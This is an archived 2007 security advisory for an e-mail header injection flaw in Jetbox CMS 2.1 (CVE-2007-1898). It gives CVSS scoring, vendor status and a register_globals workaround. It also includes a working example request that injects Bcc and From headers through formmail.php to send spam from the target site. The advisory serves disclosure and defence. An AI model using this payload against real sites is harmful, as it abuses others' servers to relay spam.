Jetbox CMS version 2.1 E-Mail Injection Vulnerability
Current status
This advisory describes a vulnerability from 2007. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.
CVE reference CVE-2007-1898
In KEV catalog no
Affected software Jetbox CMS version 2.1
Captured from netvigilance.com
Original document
Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.
Description: Jetbox CMS is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql. Security problems in the product allow attackers to send any spam e-mails using mail form of target site. External References: Mitre CVE: CVE-2007-1898 NVD NIST: CVE-2007-1898 OSVDB: 34088 BUGTRAQ/BID: 23989 Summary: Jetbox CMS seriously tested on usability & has a professional intuitive interface. Successful exploitation requires PHP register_globals set to On on the server. Release Date: May 15 2007 Severity: Risk: Medium CVSS Metrics: Access Vector: Remote Access Complexity: High Authentication: Not-required Confidentiality Impact: None Integrity Impact: Partial Availability Impact: Partial Impact Bias: Normal CVSS Base Score: 3.7 Target Distribution on Internet: Low Exploitability: Functional Exploit Remediation Level: Workaround Report Confidence: Uncorroborated Vulnerability Impact: Attack Host Impact: E-mail injection. SecureScout Testcase ID: TC 17956 Vulnerable Systems: Jetbox CMS version 2.1 Vulnerability Type: Email Injections using to send anonymous emails to other recipients. Vendor: Streamedge Consultancy & Development Vendor Status: Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained anymore. There is no official fix at the release of this Security Advisory. Workaround: In the php.ini file set register_globals to Off. Example: REQUEST: http://[TARGET]/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide REPLY: Spam will be sent from the target site Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com
Why this page still exists
Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.